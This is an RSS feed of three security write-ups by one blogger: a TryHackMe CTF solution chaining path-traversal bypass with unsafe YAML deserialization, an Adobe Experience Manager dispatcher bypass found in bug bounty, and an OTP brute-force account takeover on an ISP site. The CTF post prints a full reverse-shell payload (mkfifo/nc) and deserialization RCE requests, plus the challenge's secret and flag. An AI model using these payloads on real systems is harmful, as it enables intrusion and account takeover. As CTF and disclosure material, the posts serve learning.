<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Affan Ali Muslim PK on Medium]]></title>
        <description><![CDATA[Stories by Affan Ali Muslim PK on Medium]]></description>
        <link>https://medium.com/@muslimfrompk?source=rss-a22726648e25------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Ny0URwEOb7hAgTLD</url>
            <title>Stories by Affan Ali Muslim PK on Medium</title>
            <link>https://medium.com/@muslimfrompk?source=rss-a22726648e25------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 06:31:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@muslimfrompk/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Task 11- Persistence (TryHackMe Industrial Intrusion CTF 2025]]></title>
            <link>https://muslimfrompk.medium.com/task-11-persistence-tryhackme-industrial-intrusion-ctf-2025-df75edefca34?source=rss-a22726648e25------2</link>
            <guid isPermaLink="false">https://medium.com/p/df75edefca34</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[insecure-deserialization]]></category>
            <dc:creator><![CDATA[Affan Ali Muslim PK]]></dc:creator>
            <pubDate>Fri, 04 Jul 2025 06:45:18 GMT</pubDate>
            <atom:updated>2025-07-04T06:45:18.693Z</atom:updated>
            <content:encoded><![CDATA[<p>Local File Inclusion+Unsafe YAML Deserialization leads to Remote Code Execution</p><p><strong>Category</strong>: Web</p><p><strong>Difficulty</strong>: Medium</p><p><strong>Description:</strong></p><blockquote><em>After the notorious malware strike on the Virelia Water Control Facility, phantom alerts and erratic sensor readings plague a system that was supposed to be fully remediated.</em></blockquote><blockquote><em>As a Black Echo red-team specialist, you must penetrate the compromised portal, unravel its hidden persistence mechanism, and neutralise the backdoor before it can be reactivated. You can access the portal via: </em><a href="http://machine_ip:8080/"><em>http://MACHINE_IP:8080/</em></a></blockquote><p><strong>Methodology</strong>:</p><p>From the challenge description we know that port 8080 holds what we need - So, no need to do port scanning! Let&#39;s break it down - one step at a time.</p><p><strong>Step 1: Use the app as intended</strong></p><p>Spawn the target machine by clicking on the Start Machine and wait until the machine is fully up(it should take no longer than 3-4 minutes).</p><p>Now access the target web app by visiting http://&lt;your-machine-ip&gt;:8080 as stated in the challenge description. - (Remember to replace &lt;your-machine-ip&gt; with the actual machine IP.)</p><p>Spend some time understanding the app logic and what is its intended use.</p><p><strong>Step 2: Information Gathering</strong></p><p>After poking around for some time, we can clearly see that there are four main sections available on the target portal as follows:</p><ol><li><strong>Dashboard</strong> — Includes a couple of internal IPs</li><li><strong>Config Updater</strong> — (Potentially) allows uploading new YAML config</li><li><strong>Logs</strong> — Includes some debug info and file paths.</li><li><strong>Telemetry</strong> — For viewing internal OT sensor data in the form of a chart.</li></ol><p>Viewing the page source code does not reveal anything interesting so we will skip it.</p><p><strong>Step 3: Information Analysis:</strong></p><p>Out of the four discovered sections only two of them stand out as potential entry-points for our attack because:</p><ol><li><strong><em>Config Updater</em></strong> consists of a HTML form which (apparently) allows us to update the portal’s YAML config file. <em>Maybe</em> we can upload a <strong>RCE</strong> exploit or other potentially dangerous files? But unfortunately, Upon submitting the form we get a 403 Access Denied error so we will leave it as is for now.</li><li><em>Logs </em>section<em> </em>shows us some debug logs which reveal:</li></ol><ul><li>A password-like string: secr3tTM192d390</li><li>Full Path to the app’s source code: /opt/hmi/app.py</li><li>Full path to another Python file: /opt/hmi/updater.py (Probably, the source code for YAML config updater).</li><li>Examining the URL for Logs section reveals that a query parameter named name is being used to read the logs like: http://&lt;your-machine-ip&gt;:8080/logs/view?name=debug.log - Maybe we can try path traversal?</li></ul><p><strong>Step 3: LFI Exploitation:</strong></p><ul><li>We start by testing the name parameter for LFI in the Logs section.</li><li>If we change the value of name parameter from debug.log to nothing.log it displays the Log Not Found with status code 404 - That was expected, nah?</li><li>Now we try to change the value to an obsolete path like the one we discovered earlier(in step 2) /opt/hmi/app.py . It threw another error: No logs found with a 400 Bad Request status code. Did you notice the difference in response? I did! This means the app is treating nothing.log and /opt/hmi/app.py differently but why?</li><li>Maybe coz of the extension? Let’s try changing the name param&#39;s value to /opt/hmi/app.log but it again threw the same 400 Bad Request error. Perhaps, the app is giving the error due the forward slash (/) in the value?</li><li>Let’s try changing the value to \opt\hmi\app.py (now with backslash) and we get our initial 404 Not Found error back. This means the app is using some kind of black-list but after some trial and error we realize that we only get the 400 Bad Request error code when using the forward slash in the name parameter&#39;s value and not for any other symbol including %</li><li>Let’s try to bypass the blacklist by URL encoding the path as we are allowed to use the % symbol. Try changing the value to %2fopt%2fhmi%2fapp.py and boom! We get access to app&#39;s source code. Similarly, we can change the value to %2fopt%2fhmi%2fupdate.py to get Config Updater &#39;s source code.</li></ul><p><strong>Step 4: Reviewing The Source Code:</strong></p><ul><li>Upon reviewing the source code of app.py we can clearly see that the app gives a status code when a slash \ is found in the name parameter&#39;s value.</li><li>The request to /config/update is handled by a function which checks for:</li></ul><ol><li>X-FTW header with a hard-coded secret value(which we found in step 2 as well)</li><li>Content-type header with a value of application/x-yaml 3. and then passes the request body as an argument to another function defined in update.py file.</li></ol><ul><li>Upon viewing the source code of update.py we notice that the updater function takes our payload from the request body and tries to parse it as YAML using yaml.UnsafeLoader YAML loader.</li><li>The config updater function in update.py also writes the output of the YAML parsing to a log file named loader.log.</li></ul><p><strong>Step 5: RCE Exploitation</strong></p><ul><li>If we do a bit of research on the YAML loader being used we come to know that it’s prone to Unsafe YAML Deserialization attacks leading to Remote Code Execution</li><li>Let’s try uploading a basic YAML deserialization to RCE payload:</li></ul><pre>!!python/object/apply:subprocess.Popen<br>- [&quot;ls&quot;]</pre><ul><li>The HTTP request to upload our payload will look like this:</li></ul><pre>POST /config/update HTTP/1.1 <br>...... .... <br>Content-type: application/x-yaml <br>X-FTW: secr3tTM192d390 .....  <br><br>!!python/object/apply:subprocess.Popen - [&quot;ls&quot;]</pre><ul><li>After sending the request, visit http://&lt;your-machine-ip&gt;:8080/logs/view?name=loader.log . At the bottom we can see the output of the YAML deserializer but it seems like the output of our the payload is not returned back to us due to the nature of subprocess.Popen</li><li>Let’s try to get reverse shell using this payload:</li></ul><pre>!!python/object/apply:subprocess.Popen<br>- [&quot;sh&quot;, &quot;-c&quot;, &quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc &lt;your-machine-ip&gt; 5555 &gt;/tmp/f&quot;]</pre><ul><li>Let’s first setup a listener on our attack machine and then send the request above with the updated payload like:</li></ul><pre>POST /config/update HTTP/1.1 <br>...... .... <br>Content-type: application/x-yaml <br>X-FTW: secr3tTM192d390 .....  <br><br>!!python/object/apply:subprocess.Popen <br>- [&quot;sh&quot;, &quot;-c&quot;, &quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc &lt;your-machine-ip&gt; 5555 &gt;/tmp/f&quot;]</pre><ul><li>We should soon receive a reverse shell on our listener(if everything was setup correctly). We can list the files using ls command then use cat *.txt command to print the <strong>flag</strong></li></ul><p><strong>Flag: </strong>THM{Sn34ky_B4ckd0or_23144}</p><p>That’s all for today!</p><blockquote><em>I also regularly write on </em><a href="https://muslimfrompk.gitbook.io/"><em>my personal blog</em></a><em> and regularly share my experiences/tips about Bug Bounty, and CTFs, on </em><a href="https://linkedin.com/in/MuslimFromPK"><em>LinkedIn</em></a><em>. Feel free to reach out if you need any help!</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df75edefca34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My first P1 vulnerability | Hacking Adobe Experience Manager CMS Dispatcher through CVE-2016–0957]]></title>
            <link>https://muslimfrompk.medium.com/how-i-found-my-first-p1-vulnerability-by-bypassing-adobe-dispatcher-and-accessing-all-of-websites-10fe918e1782?source=rss-a22726648e25------2</link>
            <guid isPermaLink="false">https://medium.com/p/10fe918e1782</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cms-hacking]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[adobe-experience-manager]]></category>
            <category><![CDATA[first-bug]]></category>
            <dc:creator><![CDATA[Affan Ali Muslim PK]]></dc:creator>
            <pubDate>Thu, 06 Jul 2023 15:41:00 GMT</pubDate>
            <atom:updated>2023-07-14T05:45:01.423Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ic4dAxyV44vvN7iIdN6IjA.jpeg" /><figcaption>Image by <a href="https://pixabay.com/users/pexels-2286921/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=1841550">Pexels</a> from <a href="https://pixabay.com//?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=1841550">Pixabay</a></figcaption></figure><p>My first P1 vulnerability | Hacking Adobe Experience Manager CMS Dispatcher through CVE-2016–0957</p><p>Assalam-O-Alaikum!</p><p>Hello amazing hackers! Today I am here with another little but interesting story of how I found my first P1 vulnerability on a VDP program by bypassing Adobe dispatcher in Adobe Experience Manager CMS.So lets break it down.</p><p>What is Adobe Experience Manger?</p><p>Adobe Experience Manager is a CMS(Content Management System) like WordPress and Drupal(I have not seen Drupal till now:-)). As you all know that WordPress has many vulnerabilities (no problem if you don’t know I will break it in another write-up if you like)</p><p>What is Adobe Dispatcher?</p><p>Adobe Dispatcher is like a Firewall in our words I think it gives us a 403 error on sensitive directories.</p><p>How I found this vulnerability?</p><p>I am beginner so I follow a methodology of and on.I just browsed the website and opened Wappalyzer to see what technologies are in use.It show CMS as first heading and Adobe Experience Manager as the technology.If I say truth I didn’t saw other technologies and just jumped into Google search bar and searched for “AEM( shorthand for Adobe Experience Manager) Vulnerabilities” I saw a couple of medium articles on this.I often look for medium articles unlike others because they often very useful than others.I opened first article but it was of someone like me so I went back and opened second article of Clarkvoss it was a mystery box I would suggest you to bookmark it because it will help you when ever you faced with Adobe Experience Manager.</p><p><a href="https://clarkvoss.medium.com/the-cve-that-will-never-die-86149b450840">The CVE That Will Never Die!</a></p><p>So I tried those techniques and one worked for me. I was able to access all of the websites internal sensitive files and directories by appending</p><p><strong>.<em>children.400.json</em></strong></p><p>at the end like</p><p><a href="https://example.com/content/.children.400.json">https://example.com/content/.children.400.json</a></p><p>and the result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xUssjKw7GWVBgEu7mhl9dg.png" /><figcaption>This is not all but for security reasons I cannot share all information</figcaption></figure><p>Steps to reproduce:</p><p>Here are the steps how I can reproduce the vulnerability as described to their team</p><ol><li>Go to <a href="https://www.mcgriff.com/">https://www.example.com</a></li><li>Change the URL to <a href="https://www.mcgriff.com/directory-name-here/.json">https://www.example.com/directory-name-here/.json</a> (change the <em>directory-name-here</em> to a valid directory name for example <em>content</em> directory)</li><li>Observe that directory information is displayed if the directory exists</li><li>Now change the URL to <a href="https://www.mcgriff.com/content/.children.1.json">https://www.example.com/content/.children.1.json</a> .it will list all the sub-directories and files</li></ol><p>Note:You can list the contents of sub-directories and files by appending them after the parent directory’s name and then /.children.number.json for example to list contents of dam sub-directory you can use <a href="https://www.mcgriff.com/content/dam/.children.1.json">https://www.example.com/content/dam/.children.1.json</a>.</p><p>And the result of my report was not very bad</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*AWrhzXdwj-t3iSc_vTkxCQ.png" /></figure><p>It has two benefits the first is that I got a new spirit and appreciation that I have found my first valid P1 bug and the second benefit is to the reporter early reporter of this report because he will get a badge of appreciation like this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/143/1*om4_UlgFxn_UIB_U6kH37w.png" /><figcaption>HackerOne badge</figcaption></figure><p>So this was the story of my first P1 vulnerability and I happy to have this because don’t be stressful if you get a duplicate because it shows that you have found a valid bug and as Zseano says <strong>“Bounty and reward is just a bonus”</strong></p><p><strong>STOP here’s an edit:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*QV4HxrivhfkUgwxD_P7kOQ.png" /><figcaption>My first ever report got triaged due to CVE-2016–0957</figcaption></figure><p>It’s severity was critical but the triager changed it to medium because he calculated its CVSS score wrongly and it got triaged in one hour so I was unable to talk about severity, anyway I am very happy.</p><p>I hope that you will have found something new to learn from this write-up.</p><p>As you know I am not a native English speaker so there are tons of grammar and spelling mistakes and I like creativity so I don’t use a grammar checker or paraphraser tool.So please forgive me for these errors</p><p>If you have question about bug-bounty and hacking or want a fellow colleague you can ping me on twitter:<a href="https://twitter.com/muslimfrompk">@muslimfrompk</a></p><blockquote>Assalam-O-Alaikum &amp; and<strong> “Allah”</strong> bless you</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=10fe918e1782" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My First Bug account takeover through OTP bypass]]></title>
            <link>https://muslimfrompk.medium.com/my-first-bug-account-takeover-through-otp-bypass-449e3d761680?source=rss-a22726648e25------2</link>
            <guid isPermaLink="false">https://medium.com/p/449e3d761680</guid>
            <category><![CDATA[otp-bypass]]></category>
            <category><![CDATA[find-your-first-bug]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[account-takeover]]></category>
            <dc:creator><![CDATA[Affan Ali Muslim PK]]></dc:creator>
            <pubDate>Fri, 30 Jun 2023 12:01:54 GMT</pubDate>
            <atom:updated>2023-12-19T18:51:16.625Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*2nB7Ih2zTFiCx6alIu8Qmg.jpeg" /><figcaption>Change Your Mindset</figcaption></figure><h3>My First Bug | My first account takeover of my ISP’s website</h3><p>Assalam-O-Alaikum!</p><p><strong>Introduction:</strong></p><blockquote>My name is Affan Ali(<a href="https://medium.com/u/a22726648e25">Affanalimuslimpk</a>).I am a 1* years old bug bounty hunter from Pakistan.It is my first writeup on Medium and also my first writeup of life.</blockquote><p>One day I just went to the ISP’s website to see my remaining internet usage.When I entered my mobile number in it it asked me for OTP(One Time Password) it was not new for me because I browsed it hundred of times before.But now I was thinking as a hacker so I decided to test if it has a rate limiting functionality.There was no rate limiting functionality out there so I was able to bruteforce the OTP field and the interesting thing is that there is no other protection except OTP there is no password.</p><p><strong>Steps to reproduce:</strong></p><p>1.Launch Burp suite or Owasp Zaproxy(I prefer Zap but launch what you want) and Enable the intercept option in Burp or Break on all request and responses on burp with your browser proxy running</p><p>2.After entering my phone number,I clicked on the Continue button</p><p>3.It will ask you to enter the OTP.</p><p>4-Enter a wrong OTP(you can use any length there is not limit of this) and press Continue button.</p><p>5.Capture the request in proxy send it to Intruder(Burp) or Fuzzer(Zap).</p><p>6.Set payload position on the OTP field and start the attack since there is no rate limiting .</p><p>7.After some time you will notice that there is a response with a different size open its request,copy the OTP code and paste it on the website.</p><p>8.I successfully logged in and I was able to see all of my invoices,current balance etc .But it can be of any users whose phone number I have.</p><p>My ISP has no public bug bounty program so I decided to send this report through Openbugbounty.org.</p><p><a href="https://openbugbounty.org/">https://openbugbounty.org</a></p><p>I submitted it around one week ago but openbugbounty.org has not processed it yet so I don’t recommend this platform.I hope my report will be processed soon I will edit this article if they respond.It is a vulnerability type that you will find on most of the websites not only on OTP field but also on password and/username fields.So keep this in mind.</p><p>I am not a native English speaker so please give me suggestion if any improvement is needed and forgive me grammar and spelling mistakes.I know they are hundreds in my write-up but nothing is perfect from start.</p><p>It was my first write-up.I hope you will find something to learn from this article.</p><p>We all are here to learn,hack and just hack.</p><p>If you have question or need a fellow hacker you can ping me at twitter:<a href="https://twitter.com/muslimfrompk">@mu</a>slimfrompk</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=449e3d761680" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>